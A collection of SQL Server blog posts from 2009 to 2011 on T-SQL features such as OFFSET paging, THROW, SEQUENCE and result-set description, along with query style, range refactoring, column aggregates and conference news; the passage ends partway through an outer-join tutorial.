Zen of SQL

SQL Server 2012

2011-10-17T14:45:00.000-04:00

I was at the SQL Server PASS Summit in Seattle last week and one of the big announcements was that SQL Server code name Denali (SQL11) is officially named SQL Server 2012 (scheduled for release early in the year)! Here is the proof:

Exciting news, lots of great enhancements to come!

Start Your SQL Engines

2011-05-09T12:24:00.001-04:00

QLRally is only two days away! I am deadlocked here looking at the schedule and trying to make a list of sessions to attend. Such a great line-up of quality content and talented speakers, too bad my concurrency model is not as good as in SQL Server. :) I may have to do some ad-hoc querying in the last moment to make my picks...

I am so excited to be part of the inaugural SQLRally event! Speaking with DBAs and developers I can see the big need for this small, yet big training event. The hunger for knowledge never ends in our field and to me SQLRally is just right. For the price (and location) it is hard to find an excuse not to attend. So, what are you waiting for, time to start the SQL engines for SQLRally!

Adding some last minute best practices updates to the content of my precon session Maximize Your SQL Server 2008 Coding Skills and getting ready to roll the wheels myself!

See you there!

T-SQL Enhancements in SQL Server 2011 (CTP1)

2011-02-21T14:21:00.001-05:00

SQL Server 2011 (code named Denali) CTP1 was announced in November 2010 during the SQL PASS Summit in Seattle. While a bit disappointing not to see the much anticipated full implementation of the window functions (hope we will still see that in a future CTP version), it offers some interesting new programmability features. These new enhancements address specific problems that we see very often in business applications. Here is a quick look at the key new features in T-SQL.

Feature: OFFSET
Application use: paging
Comments: provides simplified syntax and efficient method for data paging solutions

Listing 1: OFFSET example

CREATE TABLE Customers (               
customer_nbr INT NOT NULL PRIMARY KEY,               
customer_name VARCHAR(35) NOT NULL);               

INSERT INTO Customers                
VALUES               
(1, 'Joe'),               
(2, 'John'),               
(3, 'Jane'),               
(4, 'Peter'),               
(5, 'Mary'),               
(6, 'Jose'),               
(7, 'Daniel'),               
(8, 'Adam'),               
(9, 'Chris'),               
(10, 'Tom'),               
(11, 'Evan'),               
(12, 'Lora');               

SELECT customer_name               
FROM Customers               
ORDER BY customer_name;               

/*               

customer_name                
---------------                
Adam                
Chris                
Daniel                
Evan                
Jane                
Joe                
John                
Jose                
Lora                
Mary                
Peter                
Tom                

*/                

DECLARE @page_nbr INT = 1, @page_size INT = 5;               

-- first page               
SELECT customer_name               
FROM Customers               
ORDER BY customer_name               
OFFSET (@page_nbr - 1) * @page_size ROWS FETCH NEXT @page_size ROWS ONLY;               

/*               

customer_name                
---------------                
Adam                
Chris                
Daniel                
Evan                
Jane                

*/                

-- second page                
SET @page_nbr = 2;               

SELECT customer_name               
FROM Customers               
ORDER BY customer_name               
OFFSET (@page_nbr - 1) * @page_size ROWS FETCH NEXT @page_size ROWS ONLY;               

/*               

customer_name                
---------------                
Joe                
John                
Jose                
Lora                
Mary                

*/                

-- last page                
SELECT customer_name               
FROM Customers               
ORDER BY customer_name               
OFFSET ((SELECT COUNT(*) FROM Customers) / @page_size) * @page_size                
ROWS FETCH NEXT @page_size ROWS ONLY;               

/*               

customer_name                
---------------                
Peter                
Tom                

*/                

-- any 3 customers                
SELECT customer_name               
FROM Customers               
ORDER BY (SELECT NULL)               
OFFSET 0 ROWS FETCH NEXT 3 ROWS ONLY;               

/*               

customer_name                
---------------                
Joe                
John                
Jane                

*/                

DROP TABLE Customers;

Feature: THROW
Application use: error handling
Comments: allow to re-throw the original error

Listing 2: THROW example

BEGIN TRY    

  -- inside code THROW is similar to RAISERROR with limitations
  THROW 51000, 'User error.', 1;

END TRY

BEGIN CATCH    

   -- inside CATCH rethrow the error
   THROW;
   
END CATCH

Feature: SEQUENCE
Application use: replacement for IDENTITY
Comments: ANSI standard method for sequences, improves on shortcomings of IDENTITY

Listing 3: SEQUENCE example

CREATE TABLE Customers (
customer_nbr INT NOT NULL PRIMARY KEY,
customer_name VARCHAR(35) NOT NULL);

-- create sequence starting with value 1, minimum value 1,
-- no maximum value, and increment by 1
CREATE SEQUENCE CustomerNbr AS INT    
MINVALUE 1    
NO MAXVALUE    
START WITH 1
INCREMENT BY 1;

-- generate customer numbers based on the sequence
-- using the NEXT VALUE FOR function
INSERT INTO Customers (customer_nbr, customer_name)
SELECT NEXT VALUE FOR CustomerNbr, 'Joe' UNION ALL
SELECT NEXT VALUE FOR CustomerNbr, 'John' UNION ALL
SELECT NEXT VALUE FOR CustomerNbr, 'Jane' UNION ALL
SELECT NEXT VALUE FOR CustomerNbr, 'Peter' UNION ALL
SELECT NEXT VALUE FOR CustomerNbr, 'Mary';

SELECT customer_nbr, customer_name 
FROM Customers
ORDER BY customer_nbr;

/*

customer_nbr customer_name
------------ ---------------
1            Joe
2            John
3            Jane
4            Peter
5            Mary

*/

-- use OVER to generate next set of sequence numbers
-- based on ordering by customer name
INSERT INTO Customers (customer_nbr, customer_name)
SELECT NEXT VALUE FOR CustomerNbr OVER(ORDER BY customer_name), customer_name
FROM (
VALUES ('Jose'), ('Daniel'), ('Adam'), ('Chris'), ('Tom')) AS T(customer_name);

SELECT customer_nbr, customer_name 
FROM Customers
ORDER BY customer_nbr;

/*

customer_nbr customer_name
------------ ---------------
1            Joe
2            John
3            Jane
4            Peter
5            Mary
6            Adam
7            Chris
8            Daniel
9            Jose
10           Tom

*/

-- alter sequence to set next number to 20
-- and increment by 10
ALTER SEQUENCE CustomerNbr    
RESTART WITH 20    
INCREMENT BY 10;

INSERT INTO Customers (customer_nbr, customer_name)
SELECT NEXT VALUE FOR CustomerNbr, 'Evan' UNION ALL
SELECT NEXT VALUE FOR CustomerNbr, 'Lora';

SELECT customer_nbr, customer_name 
FROM Customers
ORDER BY customer_nbr;

/*

customer_nbr customer_name
------------ ---------------
1            Joe
2            John
3            Jane
4            Peter
5            Mary
6            Adam
7            Chris
8            Daniel
9            Jose
10           Tom
20           Evan
30           Lora

*/

-- reset sequence to 1
ALTER SEQUENCE CustomerNbr    
RESTART WITH 1    
INCREMENT BY 1;

DECLARE @first_value SQL_VARIANT, @last_value SQL_VARIANT;

-- get a range of 5 sequence values: 1, 2, 3, 4, 5
-- next available value is 6
EXEC sp_sequence_get_range
  @sequence_name = N'CustomerNbr',
  @range_size = 5,
  @range_first_value = @first_value OUTPUT,
  @range_last_value = @last_value OUTPUT;

SELECT @first_value AS range_first_value, 
       @last_value AS range_last_value;

/*

range_first_value   range_last_value
------------------- ------------------
1                   5

*/

SELECT NEXT VALUE FOR CustomerNbr AS next_value;

/*

next_value
-----------
6

*/

DROP TABLE Customers;
DROP SEQUENCE CustomerNbr;

Feature: EXECUTE WITH RESULT SETS
Application use: manipulate stored procedure output result set
Comments: capabilities to rename output result set columns without changing the original stored procedure; no options to remove/add columns or remove a result set when multiple result sets are returned

Listing 4: EXECUTE WITH RESULT SETS example

CREATE PROCEDURE CalculateSales
AS

SELECT sale_month, sale_amount
FROM (VALUES('2010-01', 120.50),
             ('2010-02', 214.00),
             ('2010-03', 109.10)) AS T(sale_month, sale_amount);

SELECT SUM(sale_amount) AS total_sales
FROM (VALUES('2010-01', 120.50),
             ('2010-02', 214.00),
             ('2010-03', 109.10)) AS T(sale_month, sale_amount);

GO

EXECUTE CalculateSales;

/*

sale_month sale_amount
---------- -------------
2010-01    120.50
2010-02    214.00
2010-03    109.10

(3 row(s) affected)

total_sales
-------------
443.60

(1 row(s) affected)

*/

EXECUTE CalculateSales 
WITH RESULT SETS 
(
    (month CHAR(7), amount DECIMAL(10, 2)),

    (total DECIMAL(10, 2))
);

/*

month   amount
------- --------
2010-01 120.50
2010-02 214.00
2010-03 109.10

(3 row(s) affected)

total
--------
443.60

(1 row(s) affected)

*/

DROP PROCEDURE CalculateSales;

Feature: describe result sets
Application use: determining the format of a response without actually running the query
Comments: replaces SET FMTONLY

Listing 5: Describe result sets example

CREATE PROCEDURE CalculateSales
AS

SELECT sale_month, sale_amount
FROM (VALUES('2010-01', 120.50),
             ('2010-02', 214.00),
             ('2010-03', 109.10)) AS T(sale_month, sale_amount);

SELECT SUM(sale_amount) AS total_sales
FROM (VALUES('2010-01', 120.50),
             ('2010-02', 214.00),
             ('2010-03', 109.10)) AS T(sale_month, sale_amount);

GO

-- replacement for SET FMTONLY
EXECUTE sp_describe_first_result_set N'CalculateSales';

/*

abbreviated results

is_hidden column_ordinal name         system_type_name  
--------- -------------- ------------ ----------------- 
0         1              sale_month   varchar(7)            
0         2              sale_amount  numeric(5,2)           


*/

-- use DMV
SELECT name, system_type_name 
FROM sys.dm_exec_describe_first_result_set(N'CalculateSales', 1, 1);

CREATE TABLE Foo (
keycol INT NOT NULL PRIMARY KEY,
datacol CHAR(10));

EXEC sp_describe_undeclared_parameters N'SELECT datacol FROM Foo WHERE keycol = @x';

/*

abbreviated results

parameter_ordinal name  suggested_system_type_name  
----------------- ----- ---------------------------- 
1                 @x    int                          


*/

GO

DROP TABLE Foo;

DROP PROCEDURE CalculateSales;

Bonus feature (maybe): FORMATMESSAGE
Application use: format messages (C/C++ sprint style)
Comments: undocumented feature allows to format message that is not in sys.messages

Listing 6: FORMATMESSAGE example

SELECT FORMATMESSAGE('There are %d products in department %s.', 10, 'remodeling');

/*

There are 10 products in department remodeling.

*/

Defensive Database Programming

2011-01-28T13:00:00.002-05:00

Defensive programming is a much avoided topic by developers. Rushing to deliver features is almost always prioritized higher than spending time to defensively program code for robustness. Especially in the database world where this concept is much misunderstood. This is why it was real pleasure to read Alex Kuznetsov's book "Defensive Database Programming with SQL Server".

Alex deals with this "inconvenient" topic using very practical approach. Instead of filling pages with theory and reasons why defensive programming is good, he dives right into simple examples from the daily work of every database professional. We have all seen (and ignored) many of these issues, but demonstrating how this affects our code and how simple it is to avoid these problems makes this book shine. It is not a complete catalog of defensive techniques, rather a good collection of examples to illustrate the need for defensive coding and applicable methods. It builds the mindset to think proactively and create robust solutions.

The book includes coverage of the following topics: basic defensive technique, code vulnerabilities, changes to database objects, upgrades, reusing code, data integrity and constraints, error handling, concurrency.

In many ways this book reminds me of the classic work by Donald Norman on designing everyday things (The Design of Everyday Things), which in similar manner demonstrates how defensive design can prevent human errors.

In conclusion, "Defensive Database Programming with SQL Server" is a wonderful addition to the library of every database professional. It should be required reading for all SQL practitioners.

SQLRally

2010-10-27T10:53:00.006-04:00

QLRally is the new regional PASS conference hosted in Orlando. It will happen on May 11- May 13 2011 and brings two full days of technical training and an optional day of pre-conference seminars. If you have been to one of the PASS SQLSaturday events then you can expect the same atmosphere of great networking with SQL Server peers in casual environment. SQLRally extends the SQLSaturday format to bring it closer to the PASS Summit experience. You can expect more in depth coverage of SQL Server and professional development topics, as well as great variety of expert areas.
Currently the finalist abstracts for the pre-conference seminars are up for voting by the SQL Server community. My abstract “Maximize Your SQL Server 2008 Coding Skills” has been selected in the final three for the Developer track.

Here are the links to view all finalists in the different tracks:

BI Sessions:
http://www.sqlpass.org/sqlrally/2011/PreConsforVotingBI.aspxDBA

DBA Sessions:
http://www.sqlpass.org/sqlrally/2011/PreConsforVotingDba.aspxDeveloper

Developer Sessions:
http://www.sqlpass.org/sqlrally/2011/PreConsforVotingDev.aspxMisc

Misc Sessions:
http://www.sqlpass.org/sqlrally/2011/PreConsforVotingMisc.aspx

Voting page:
http://www.zoomerang.com/Survey/WEB22BD59JCQBT

All finalist abstracts have excellent content. Regardless of which one you vote for it will be a great conference to attend. For $299 it is a steal!

The Power of Simplicity

2010-08-13T17:35:00.000-04:00

Solving a problem very often results in unnecessary complex solutions. One of the first lessons I learned from my math teacher was to scrap any solution that exceeds a page. She would urge me to start all over and look for simpler way to resolve it. In her world there was always a short and simple solution, it was only a matter of seeing it.
I find this rule applicable to any type of problem. Only the dimension of the page size changes according to the subject matter. Many believe that finding the simpler and better solution is to “think outside the box”. But in my opinion it is exactly the opposite – to think inside the box. Know the fundamentals of your area of expertise, systematically apply them, and you will find a simple and elegant solution! Isaac Newton did not just discover the gravity when an apple fell on his head (if at all it did). It took him 20 years of hard work to explain gravity!
In the world of SQL it drills down to deep understanding of the set based nature of SQL and coming up with solution based on that. Thinking like a procedural programmer will not help.

What are the rules to simplicity? There are no rules! I like to use the following quotes as guidelines:

“The simplest way to achieve simplicity is through thoughtful reduction.”
John Maeda, The Laws of Simplicity

“Make everything as simple as possible, but not simpler.”
Albert Einstein

Let’s illustrate this with one example in SQL. In out sample scenario the request is to retrieve a list of customers who always order the exact same product (regardless of what the product is). This is a very valid business problem because you may want to send targeted coupons to customers who always buy the same products.
There are different ways to solve this problem and Listing 1 shows one method. It is very close to describing the solution in plain English: select all customers where the customer has no other orders with different product SKU.

Listing 1

SELECT DISTINCT customer_nbr                
FROM Orders AS O                
WHERE NOT EXISTS(SELECT *                
                 FROM Orders AS O1                
                 WHERE O1.customer_nbr = O.customer_nbr                
                   AND O1.sku <> O.sku);

Is this the simplest way to solve the problem? This query is set based but still in a way mimics procedural thinking – examine all other customer orders and check that there is no other order with different product SKU.
If you think about the set of all customer orders, you will notice that these that we need have repeating attribute values, that is the same product SKU. Applying the MIN and MAX aggregate functions on that attribute will return the same value. Then here is our simplified solution: retrieve all customers that have equal MIN and MAX product SKU on all orders. Listing 2 shows the query.

Listing 2

SELECT customer_nbr                
FROM Orders                
GROUP BY customer_nbr                
HAVING MIN(sku) = MAX(sku);

This is more elegant and simpler solution! Thinking more about the set of all customer orders you will notice that the distinct count of product SKUs is 1 for the customers in the needed result set. That brings us to another elegant solution:

Listing 3

SELECT customer_nbr                
FROM Orders                
GROUP BY customer_nbr                
HAVING COUNT(DISTINCT sku) = 1;

Pretty and simple, right? Try it next time when you see that two page query!

It’s a Matter of Style

2010-08-05T18:02:00.000-04:00

W riting SQL can be very enjoyable activity. Reading SQL can be also enjoyable (maybe like reading poetry to some), or very unpleasant… How do you write SQL with style that results in eye pleasing and easy to read/understand code? And does it matter?
Sometimes code writing drills down to concentrating on the task at hand and producing a brilliant piece of code, which looks like this:

Listing 1

select c.customer_name, o.order_amt,              
d.qty from customers c left outer join              
orders o on c.customer_nbr = o.customer_nbr              
left outer join orderdetails d on d.order_nbr =              
o.order_nbr and d.sku = 101

Or maybe like this:

Listing 2

SELECT C.CUSTOMER_NAME, O.ORDER_AMT,              
D.QTY FROM CUSTOMERS C LEFT OUTER JOIN              
ORDERS O ON C.CUSTOMER_NBR = O.CUSTOMER_NBR              
LEFT OUTER JOIN ORDERDETAILS D ON D.ORDER_NBR =              
O.ORDER_NBR AND D.SKU = 101

While this code performs exceptionally and solves the problem in a very clever way, is it really that good? What happens when the code review/test team gets their turn? Or when you/someone else has to modify it two years from now? To my opinion this code is a very long way from what a real production code should be. And yes, this is very real and it happens every day, even as I type this. Just pay attention on the next code review, or take a look at any online SQL forum (and no, it is not only the people that ask questions, unfortunately many SQL gurus that know it all would post an answer with similar “example” style).
How do you make this code look better? The answer is in the four basic principles of design: contrast, repetition, alignment, and proximity. Let’s look how applying these principles of design (which many think are applicable only to graphic design) can lead to stylish and enjoyable code.

Contrast
The idea is to use contrast for elements that a very different. One example is columns and reserved keyword. They are not the same and the code should make that distinction very clear. Let’s apply that:

Listing 3

SELECT C.customer_name...

Here the SELECT keyword is capitalized to differentiate from the lower case column name. Also, the table alias is capitalized to indicate clearly the table source.

Repetition
Repeating the same element styles for all similar items adds consistency and organization throughout code. For example, repeat and maintain capitalization for all keyword, do not mix style in different context of the code. Like the style of the SELECT and FROM reserved keywords in Listing 4.

Listing 4

SELECT C.customer_name... FROM Customers AS C...

This allows to “visualize” the shape of the query code. Now the eye can easily flow from one section of code to the next one and concentrate on each element.

Alignment
Code elements should not be placed arbitrarily on the lines of code. Every code item should have some visual connection with another item in the code. One example is aligning the start of each clause of the query (SELECT, FROM, WHERE, etc.) on a new line:

Listing 5

SELECT C.customer_name...              
FROM Customers AS C...

Alignment creates a clean and pleasing look of the code structure.

Proximity
Code items that relate to each other should be grouped close together. When several items are in close proximity they become one visual unit. Like placing SELECT and column names together on the line, similar for FROM and table names or WHERE and predicates. Listing 6 demonstrates this.

Listing 6

SELECT C.customer_name, O.order_amt...              
FROM Customers AS C              
LEFT OUTER JOIN Orders AS O...

This makes the code structure very clear and eliminates clutter.

Let’s apply all four principles to the initial query. Here is one way it may look:

Listing 7

SELECT C.customer_name, O.order_amt, D.qty              
FROM Customers AS C              
LEFT OUTER JOIN Orders AS O              
  ON C.customer_nbr = O.customer_nbr              
LEFT OUTER JOIN OrderDetails AS D              
  ON D.order_nbr = O.order_nbr              
 AND D.sku = 101;

I added a couple extra styling elements (compared to the original query), can you catch them?

Another form of alignment is this:

Listing 8

         SELECT C.customer_name, O.order_amt, D.qty              
           FROM Customers AS C              
LEFT OUTER JOIN Orders AS O              
             ON C.customer_nbr = O.customer_nbr              
LEFT OUTER JOIN OrderDetails AS D              
             ON D.order_nbr = O.order_nbr              
            AND D.sku = 101;

There are many different ways to style your SQL. You may agree or disagree with some elements, but the bottom line is this: style matters!

Refactoring Entity-Attribute-Value Design

2010-07-27T22:18:00.002-04:00

Entity-Attribute-Value (often referenced as EAV) table design is one of the “wonderful” things that newcomers to the SQL land discover very quickly! Traditional procedural programmers have very hard time understanding why tables have fixed number of columns, and adding a new column requires table and possibly code change. Their great problem solving skills from the procedural world help them find a “natural” solution – the EAV design – where a pair of key (describing the attribute) and value allow to store data with flexibility.
Example is storing all employee information in 3 columns: key column to identify employee (entity), attribute key column (attribute) to identify the attribute stored (name, birth date, SSN, date of hire, etc.), and value column (value) to store the actual value.

Refactoring Ranges

2010-02-15T12:12:00.008-05:00

Refactoring is misunderstood so many times, mostly by developers living by the motto "If it's not broken don't fix it". But in most cases this is invalid argument and leads to keeping inefficient and difficult to maintain solutions around. With tools and languages evolving, as well as knowledge about specific technology, there are so many opportunities to improve existing code in a way that will make a huge difference in many aspects. As Sir Winston Churchill said "To improve is to change; to be perfect is to change often".

One example of refactoring that can lead to better code is the problem of finding ranges of existing values in SQL. A range (or also known as "island") refers to finding and grouping consecutive values (dates, numbers, etc.) to a row representing the start point and the end point of the range. There are many variations of this problem but in essence the logic always drills down to finding a grouping factor to collapse the values to a range.

Let's look at one example to illustrate the refactoring process. Given Sales table containing sale transactions our goal is to find:

1). Consecutive ranges of transaction numbers (transaction numbers that do not have gaps)

2). Consecutive ranges of sale dates (sale dates with no missing dates in the range)

These results can be used for variety of reporting and data analysis purposes. Here is how the Sales table looks:

CREATE TABLE Sales (
 transaction_nbr INT NOT NULL PRIMARY KEY,
 sale_date DATE NOT NULL,
 amount DECIMAL(18, 2) NOT NULL);

INSERT INTO Sales VALUES 
(1, '20091201', 100.00),
(3, '20091202', 15.00),
(4, '20091203', 102.50),
(5, '20091204', 110.00),
(6, '20091207', 98.25),
(9, '20091208', 20.00),
(11, '20091209', 160.00),
(12, '20091211', 250.00);

SELECT transaction_nbr, sale_date, amount
FROM Sales;

/*

transaction_nbr sale_date  amount
--------------- ---------- ----------
1               2009-12-01 100.00
3               2009-12-02 15.00
4               2009-12-03 102.50
5               2009-12-04 110.00
6               2009-12-07 98.25
9               2009-12-08 20.00
11              2009-12-09 160.00
12              2009-12-11 250.00

*/

The requirement is to return the following two result sets:

/*

Ranges by transaction_nbr:

range_start range_end
----------- -----------
1           1
3           6
9           9
11          12

Ranges by sale_date:

range_start range_end
----------- ----------
2009-12-01  2009-12-04
2009-12-07  2009-12-09
2009-12-11  2009-12-11

*/

On versions prior to SQL Server 2005, a very common solution is to find the grouping factor for the ranges by using a subquery to find the minimum value in the range and then group all consecutive values in the range based on that. For transaction numbers the query to find grouping factor looks like this:

SELECT transaction_nbr,
      (SELECT MIN(B.transaction_nbr)
       FROM Sales AS B
       WHERE B.transaction_nbr >= A.transaction_nbr
         AND NOT EXISTS
                (SELECT *
                 FROM Sales AS C
                 WHERE C.transaction_nbr = B.transaction_nbr + 1)) AS grp
FROM Sales AS A;

Here is the result set:

/*

transaction_nbr grp
--------------- -----------
1               1
3               6
4               6
5               6
6               6
9               9
11              12
12              12

*/

It is easy to see the groups created by the subquery. Now the task to finalize ranges is very trivial, simply grouping by the grouping factor and retrieving the MIN and MAX values in the range:

SELECT MIN(transaction_nbr) AS range_start, 
       MAX(transaction_nbr) AS range_end
FROM (
SELECT transaction_nbr,
      (SELECT MIN(B.transaction_nbr)
       FROM Sales AS B
       WHERE B.transaction_nbr >= A.transaction_nbr
         AND NOT EXISTS
                (SELECT *
                 FROM Sales AS C
                 WHERE C.transaction_nbr = B.transaction_nbr + 1)) AS grp
FROM Sales AS A) AS T
GROUP BY grp;

This query satisfies the first task to find ranges by transaction number:

/*

range_start range_end
----------- -----------
1           1
3           6
9           9
11          12

*/

The logic for finding ranges by sale date is very similar. The only difference is that the subquery to find the grouping factor uses the date/time functions in SQL Server to check if the dates are consecutive. Here is the query solving the second task and the corresponding result set:

SELECT MIN(sale_date) AS range_start, 
       MAX(sale_date) AS range_end
FROM (
SELECT sale_date,
      (SELECT MIN(B.sale_date)
       FROM Sales AS B
       WHERE B.sale_date >= A.sale_date
         AND NOT EXISTS
                (SELECT *
                 FROM Sales AS C
                 WHERE C.sale_date = DATEADD(DAY, 1, B.sale_date))) AS grp
FROM Sales AS A) AS T
GROUP BY grp;


/*

range_start range_end
----------- ----------
2009-12-01  2009-12-04
2009-12-07  2009-12-09
2009-12-11  2009-12-11

*/

While in this example the query does not look so difficult, with more complex scenarios it can become very difficult to understand, and performance will not be great.

SQL Server 2005 introduced the ranking functions (ROW_NUMBER, RANK, DENSE_RANK, and NTILE). This provides a new tool to solve out problem in more simplified and efficient manner. We can use a very simple math to find the grouping factor. Take a look at the following query and the results:

SELECT transaction_nbr,
       ROW_NUMBER() OVER(ORDER BY transaction_nbr) AS rk,
       transaction_nbr - ROW_NUMBER() OVER(ORDER BY transaction_nbr) AS grp
FROM Sales;

/*

transaction_nbr rk                   grp
--------------- -------------------- --------------------
1               1                    0
3               2                    1
4               3                    1
5               4                    1
6               5                    1
9               6                    3
11              7                    4
12              8                    4

*/

The query simply generates rank by transaction number, and defines expression subtracting the rank from the transaction number. Observing the transaction number and the rank columns it is easy to see that transaction numbers increase with 1 when there are no gaps, while ranks always increase with 1. Subtracting sequentially increasing numbers from set of numbers without gaps results in constant number (as both sequences increase with 1). When the set of numbers has gaps the subtraction results in different number. This is the base to define the grouping factor for our ranges.

Here is the final query to solve the first task to find ranges by transaction number:

SELECT MIN(transaction_nbr) AS range_start, 
       MAX(transaction_nbr) AS range_end
FROM (
SELECT transaction_nbr,
       transaction_nbr - ROW_NUMBER() OVER(ORDER BY transaction_nbr) AS grp
FROM Sales AS A) AS T
GROUP BY grp;


/*

range_start range_end
----------- -----------
1           1
3           6
9           9
11          12

*/

Utilizing the ranking functions allows using new algorithm which results in simplified and better performing solution.

The solution for finding date ranges is very similar. Here are two versions with minor differences. The first version uses the difference between a fixed date (January 1, 2000) and the sale date value. This difference will generate sequential numeric values when there are no gaps between dates and will skip numbers when gaps exist.

-- Using number as grouping factor
SELECT MIN(sale_date) AS range_start, 
       MAX(sale_date) AS range_end
FROM (
SELECT sale_date,
       DATEDIFF(DAY, '20000101', sale_date) - 
       ROW_NUMBER() OVER(ORDER BY sale_date) AS grp
FROM Sales AS A) AS T
GROUP BY grp;

/*

range_start range_end
----------- ----------
2009-12-01  2009-12-04
2009-12-07  2009-12-09
2009-12-11  2009-12-11

*/

The second version subtracts days (represented by rank based on sale date) from the sale date. This in effect generates constant date when sale dates are in sequence.

-- Using date as grouping factor
SELECT MIN(sale_date) AS range_start, 
       MAX(sale_date) AS range_end
FROM (
SELECT sale_date,
       DATEADD(DAY, -1 * ROW_NUMBER() OVER(ORDER BY sale_date), sale_date) AS grp
FROM Sales AS A) AS T
GROUP BY grp;

The same technique can be used in many different scenarios. In more complex cases (like when partitioning by a column is required) there may be a need for multiple ranking functions. Here is one example:

Grouping with ROW_NUMBER
http://pratchev.blogspot.com/2008/03/grouping-with-rownumber.html

Column Aggregates

2009-08-21T21:27:00.003-04:00

We all know how to use the aggregate functions MIN, MAX, COUNT, etc. to calculate aggregates across rows. For example, using MAX we can determine the maximum value for group of rows. But what if we want to see the maximum value for each row across columns? There is no aggregate function that accepts list of columns…

Let's look at example to illustrate this. Here is sample table with four data columns:

CREATE TABLE Foo (

 keycol INT NOT NULL PRIMARY KEY,

 col1 INT NOT NULL,

 col2 INT NOT NULL,

 col3 INT NOT NULL,

 col4 INT NOT NULL);

 

INSERT INTO Foo VALUES(1, 5, 0, 1, 10); 

INSERT INTO Foo VALUES(2, 0, 0, 3, 1);

INSERT INTO Foo VALUES(3, 0, 0, 0, 0);

INSERT INTO Foo VALUES(4, 9, 1, 22, 8);

INSERT INTO Foo VALUES(5, 8, 8, 8, 8);

Our goal is to calculate the maximum value for the four data columns for each row. With two or three columns it may be an easy task using a CASE expression. But adding more columns will make a very long and complex CASE expression. Is there an easier way?

One solution that provides a shortcut is utilizing the SQL Server capabilities to generate an XML result and then using XQuery to find the max value. Here is the query:

-- max across columns with XQuery

SELECT c.query('keycol').value('.', 'INT') AS keycol,

       c.value('local-name(./*[data(.)=

                max(../*[not(local-name(.)="keycol") ])][1])', 

                'VARCHAR(20)') AS max_col,

       c.value('max(*[not(local-name(.)="keycol")])', 'FLOAT') AS max_val

FROM (SELECT keycol, col1, col2, col3, col4

      FROM Foo

      FOR XML PATH, TYPE) AS T(x)

CROSS APPLY x.nodes('row') AS R(c);

The tricky part here is the filtering of the key column from the evaluation for max. Here are the results:

keycol  max_col  max_val

------- -------- --------

1       col4     10

2       col3     3

3       col1     0

4       col3     22

5       col1     8

How about counting the number of none zero values across columns? Here is a solution for that using very similar query:

-- count non-zero columns with XQuery

SELECT c.query('keycol').value('.', 'INT') AS keycol,

       c.value('count(*[not(local-name(.)="keycol") 

                and not(.=0)])', 

               'INT')  AS cnt_non_zero

FROM (SELECT keycol, col1, col2, col3, col4

      FROM Foo

      FOR XML PATH, TYPE) AS T(x)

CROSS APPLY x.nodes('row') AS R(c);

And the results:

keycol  cnt_non_zero

------- ------------

1       3

2       2

3       0

4       4

5       4

This shows the power of XQuery to solve this problem in untraditional way. The catch? Look at the execution plan of the queries...

More efficient method to solve the first problem is to use unpivoting. Here is solution using the UNPIVOT operator (the same can be done with ANSI query using cross join with numbers table):

-- max across columns with UNPIVOT

SELECT keycol, col AS max_col, val AS max_val

FROM (

SELECT keycol, val, col, 

       ROW_NUMBER() OVER(PARTITION BY keycol ORDER BY val DESC, col) AS rk

FROM Foo

UNPIVOT

(val FOR col IN (col1, col2, col3, col4)) AS U) AS T

WHERE rk = 1;

And very similar solution using unpivoting to solve the second problem:

-- count non-zero columns with UNPIVOT

SELECT keycol, COUNT(NULLIF(val, 0)) AS cnt_non_zero

FROM Foo

UNPIVOT

(val FOR col IN (col1, col2, col3, col4)) AS U

GROUP BY keycol;

Outer Joins

2009-06-29T22:52:00.009-04:00

Outer joins are one of the most widely misunderstood table operators. As useful as they are, it is very easy to incorrectly apply predicates in outer join queries and introduce logical bugs that are very difficult to troubleshoot (or spend hours trying to figure out why a particular query does not produce the desired results). This article demonstrates common misunderstanding about outer joins and how to properly use them.

First, let's start with explanation of the logical processing of a query (listing here only the steps related to outer join operators, for full explanation of logical query processing read Anatomy of a Query).

1). FROM/CROSS JOIN: The FROM clause is processed to identify source tables; a cross join (Cartesian product) is formed between the two tables involved in the table operator.

2). ON: The ON clause predicates are applied and only rows that satisfy the predicate(s) (for which the predicates evaluate to TRUE) are included in the temporary result set.

3). ADD OUTER ROWS: The left side table in LEFT OUTER JOIN and right side table in RIGHT OUTER JOIN (or both tables in FULL OUTER JOIN) are the preserved tables. That means all rows (and selected attribute values) from this table(s) are present in the result set after the outer join operator is applied. At this phase the non-matching rows from the preserved table(s) are added back (non-matched based on the predicates in the ON clause). The attributes for the non-matched rows from the non-preserved table are added as NULLs.

4). WHERE: The predicates in the WHERE clause are applied and only rows for which the predicates evaluate to TRUE are included in the temporary result set.

The process repeats for any other table operators in the FROM clause taking the temporary result set from the prior table operator as left input.

The key concept here is to understand well phases 2, 3, and 4, and how filtering affects the result set. To illustrate this with example, let's create two tables with loans and customers. Each customer can have personal or business loans (or both), or no loans at all.

CREATE TABLE Loans (

 loan_nbr INT NOT NULL,

 customer_nbr INT NOT NULL,

 loan_date DATETIME NOT NULL,

 loan_amount DECIMAL(15, 2) NOT NULL,

 loan_type CHAR(1) NOT NULL,

 CONSTRAINT ck_loan_type

 CHECK (loan_type IN ('P', 'B')), -- P=Personal; B=Business

 CONSTRAINT pk_loans

 PRIMARY KEY (loan_nbr));







INSERT INTO Loans

(loan_nbr, customer_nbr, loan_date, loan_amount, loan_type)

VALUES(1, 1, '20080101', 1500.00, 'P');

INSERT INTO Loans

(loan_nbr, customer_nbr, loan_date, loan_amount, loan_type)

VALUES(2, 2, '20080215', 1000.00, 'P');

INSERT INTO Loans

(loan_nbr, customer_nbr, loan_date, loan_amount, loan_type)

VALUES(3, 1, '20080311', 5000.00, 'B');

INSERT INTO Loans

(loan_nbr, customer_nbr, loan_date, loan_amount, loan_type)

VALUES(4, 3, '20080312', 2000.00, 'P');

INSERT INTO Loans

(loan_nbr, customer_nbr, loan_date, loan_amount, loan_type)

VALUES(5, 4, '20080325', 1200.00, 'P');

INSERT INTO Loans

(loan_nbr, customer_nbr, loan_date, loan_amount, loan_type)

VALUES(6, 3, '20080327', 4000.00, 'B');

INSERT INTO Loans

(loan_nbr, customer_nbr, loan_date, loan_amount, loan_type)

VALUES(7, 5, '20080410', 3500.00, 'B');

INSERT INTO Loans

(loan_nbr, customer_nbr, loan_date, loan_amount, loan_type)

VALUES(8, 2, '20080412', 2000.00, 'P');





CREATE TABLE Customers (

 customer_nbr INT NOT NULL,

 customer_name VARCHAR(35),

 PRIMARY KEY (customer_nbr));





INSERT INTO Customers (customer_nbr, customer_name)

VALUES(1, 'Peter Brown');

INSERT INTO Customers (customer_nbr, customer_name)

VALUES(2, 'Jeff Davis');

INSERT INTO Customers (customer_nbr, customer_name)

VALUES(3, 'Kevin Fox');

